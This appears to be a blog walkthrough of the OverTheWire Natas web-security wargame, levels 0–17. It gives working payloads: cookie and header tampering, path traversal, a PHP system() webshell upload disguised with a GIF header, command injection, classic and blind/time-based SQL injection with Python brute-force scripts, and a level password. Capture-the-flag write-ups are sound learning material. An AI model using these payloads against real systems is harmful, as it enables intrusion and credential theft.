overthewire / natas

Level 0

View source

Level 1

Hint 1: Your right-click has been disabled. What other ways are there to view the source of a web page?

View source (but you can’t use the right-click menu - use your browser’s menu for that)

Level 2

Hint 1: How does the source for this page differ from the previous level’s?

Hint 2: Where is pixel.png sourced from?

Hint 3: Can you list all the files in the files directory?

The source reveals the source of an image as being files/pixel.png. We can list the contents of this directory, and users.txt contains the password for the next level.

Level 3

Hint 1: How do webmasters usually help search engines index their site?

Hint 2: Have a look at the contents of robots.txt

That one is more interesting. The source gives us a hint by saying Google won’t find it. Most sites have a file called robots.txt - and sure enough this gives us the name of another directory containing another users.txt file.

Level 4

Hint 1: What does our browser send to make the server thing we are coming from the wrong page?

Hint 2: Check out the ‘Referer’ tag in the headers

The landing page for this level tells us we are being referred from the wrong page (natas4 instead of natas5). But we do not have access to natas5 yet. What index.php is doing is checking the Referer tag in the headers. This can easily be tweaked by using the ‘Modify Headers’ addon for Firefox. Just set the ‘Referer’ tag to http://natas5.natas.labs.overthewire.org, start the addon and refresh the page. It will now give us the next password.

Level 5

Hint 1: What do you feed the cookie monster?

The initial message is a bit cryptic. It seems we’re not logged in, but looking at the source doesn’t reveal anything. What about cookies? Sure enough the site stored a cookie with us. Using an addon such as ‘Cookie Manager+’, we see natas5 stored a cookie named ‘loggedin’ with content set to 0. Changing that to 1 and reload the page gets us in.

Level 6

The source (using the link on the page, not from the browser) yields this piece of code:

include "includes/secret.inc";

if(array_key_exists("submit", $_POST)) {
    if($secret == $_POST['secret']) {

So we’re looking for the value of $secret. By accessing the include file we get hold of that value. We insert it in the form and we’re done.

Level 7

Hint 1: Notice anything different about the url?

The hint in the page’s source tells us the password is located in /etc/natas_webpass/natas8. We also see the index.php page takes an argument referencing a section (home, about), which could well be a path on the file system. And indeed referencing the password file above gets us in.

Level 8

Hint 1: List out the steps taken to transform the user input, and reverse them

The source listing tells us how user input is transformed before being compared to the ‘right’ value. Reading the transformation function from inside out, input is first encoded in base64, then reversed (strrev) and then converted from binary to hexadecimal. So in order to reverse the encoded value we need to perform the reverse.

  1. bin2hex converts an ASCII string into hexadecimal. 3d3d516343746d4d6d6c315669563362 -> ==QcCtmMml1ViV3b
  2. strrev reverses the string - so unreversing it: ==QcCtmMml1ViV3b -> b3ViV1lmMmtCcQ==
  3. and decoding it from base64: b3ViV1lmMmtCcQ== -> oubWYf2kBq

Using this as the input secret gets us there.

Level 9

At first glance the code snippet allows us to look for a particular word (case insensitive) in a file called dictionary.txt. I first thought the password would be in the file somehow - and to display it all, grepping for new line (\n) does list the contents. However a quick glance through the file doesn’t reveal anything interesting. But as we have free reign with the input, we can just as easily grep through anything else. In level 7 we were told some password files were located in /etc/natas_webpass. And by crafting our input (\n /etc/natas_webpass/natas10) we can get the script to display its contents.

Level 10

Very similar to the previous level. However this time characters like ‘;’ and ‘&’ are not allowed. Not a problem since we didn’t use any. However the input we used previously doesn’t seem to work. Maybe there are no new lines in this file. Instead we grab any letter (remember it’s case insensitive) by using [a-z] /etc/natas_webpass/natas11 and voila.

Level 11

Hint 1: XOR encryption is symmetric - such that (Plaintext) XOR (Ciphertext) = (Key)

The hint says cookies are ‘protected’ using XOR encryption.

$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
    $mydata['showpassword'] = $tempdata['showpassword'];
    $mydata['bgcolor'] = $tempdata['bgcolor'];
    }

A quick look through Cookies Manager shows that natas11 stored a cookie called data with content set to ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw. The snippet above tells us what we need to do to restore this to a json object - and the only thing we need is the XOR key.

With XOR ciphers, we know that (Plaintext) XOR (Ciphertext) = (Key). We have:

1. plaintext = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff")) = {"showpassword":"no","bgcolor":"#ffffff"}
2. ciphertext = base64_decode($_COOKIE["data"] = ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw)

In the xor_encrypt function we set the key to the plaintext. Running xor_encrypt on the cipher text yields a key of qw8J. Sure enough, using this key on the ciphertext yields the plaintext. Step 1, done!

For Step 2, we simply need to save the following by using qw8J instead of <censored> in the xor_encrypt function:

base64_encode(xor_encrypt(json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"))))
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

in the data section of the natas11 cookie. Refreshing the natas11 landing page shows the password

Level 12

Hint 1: The answer is not in your browser, but on the server

Hint 2: Think about how the web server will interpret files of various extensions

This level is about seeing the forest from the trees. Viewing the source, there’s a lot in there that’s irrelevant. It’s easy to get hung up on the random string generation (that’s what I did). Taking a step back, we see that the only input we can control is just the extension (we can tamper with the POST data). However there doesn’t seem to be much we can do with that - it’s not passed to eval or anything. So how does this benefit us?

The answer lies in what extensions mean not to your browser, but to the web server. When I used to set mess around with Apache years back, I remember associating extensions to certain processors - like cgi, php, … What we’re provided with is essentially a way to store, and execute, code on the server. By crafting a simple file containing <? system('cat /etc/natas_webpass/natas13') ?> we can get the server to execute this for us, and show us what the password for the next level

Level 13

Hint 1: Forget file extensions - think headers

This is very similar to the previous level. However we see that before copying the file to target, the code uses exif_imagetype to validate the file is a picture. A quick look on the php doc for this function tells us it only checks the header. So all we need to do is to make sure our file can mascarade as a picture. There are a variety of picture formats, but I picked GIF. A quick search reveals the required header. A file with GIF89a <? system('cat /etc/natas_webpass/natas14') ?> does the trick.

Level 14

SQL injection at last! This is pretty straight forward. The sql being run is defined as:

$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";

User input is passed straight in. Putting " or "1"="1 forces the statement to always be true and yields the required result.

Level 15

Hint 1: This is like a binary switch that tells you whether your statement executed successfully or not

Hint 2: When in doubt, use brute force

This level is slightly different. The only information we get from submitting the form can be boiled down to whether or not the sql query executed successfully. The source code does give us the schema of the users table, and we can use this to our advantage. Even though we can’t get the snippet to show us the password, we can try each character in turn and validate our guess. It’s clearly tedious to do that manually, but a little bit of python3 takes good care of the automation:

    import urllib.parse
    import urllib.request
    
    url = 'http://natas15.natas.labs.overthewire.org/index.php'
    
    # auth bit - pretty boiler plate
    top_level_url = 'http://natas15.natas.labs.overthewire.org'
    username = 'natas15'
    password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
    password_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
    password_mgr.add_password(None, top_level_url, username, password)
    handler = urllib.request.HTTPBasicAuthHandler(password_mgr)
    opener = urllib.request.build_opener(handler)
    urllib.request.install_opener(opener)
    
    def tryit(pw):
      post_data = {'username' : 'natas16" and password like binary "%s%%' % pw}
      data = urllib.parse.urlencode(post_data)
      binary_data = data.encode('ascii')
      req = urllib.request.Request(url, binary_data)
      response = urllib.request.urlopen(req)
      the_page = response.read()
      return 'This user exists' in str(the_page)
    
    chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' # string.ascii_letters + string.digits
    
    password = ''
    while len(password) < 32:
      for c in chars:
        if tryit(password + c):
          password = password + c
          print('password starts with %s' % password)
          break
    
    print('full password: %s' % password)

Note that mysql doesn’t exactly have a startswith function, so we use `like binary “[guess]%”’.

Level 16

    def tryit(pw):
      print('trying %s' % pw)
      post_data = {'needle' : '^$(grep ^%s /etc/natas_webpass/natas17)African' % pw}
      data = urllib.parse.urlencode(post_data)
      binary_data = data.encode('ascii')
      req = urllib.request.Request(url, binary_data)
      response = urllib.request.urlopen(req)
      the_page = response.read()
      return r'<pre>\n</pre>' in str(the_page)

Level 17

Hint 1: How else can you get a binary indicator? (ie, that the query succeeded or failed)

Hint 2: Look up blind SQL injection

Hint 3: Insert a statement that, if the previous leg of the and statement is true, will delay the response from coming back

Same as Level 15 - don’t forget to import timeit.

    def tryit(pw):
      print('trying %s' % pw)
      post_data = {'username' : 'natas18" and password like binary "%s%%" and sleep(4) and "1"="1' % pw}
      data = urllib.parse.urlencode(post_data)
      binary_data = data.encode('ascii')
      req = urllib.request.Request(url, binary_data)
      t_start = timeit.default_timer()
      response = urllib.request.urlopen(req)
      the_page = response.read()
      t_end = timeit.default_timer()
      return t_end - t_start > 3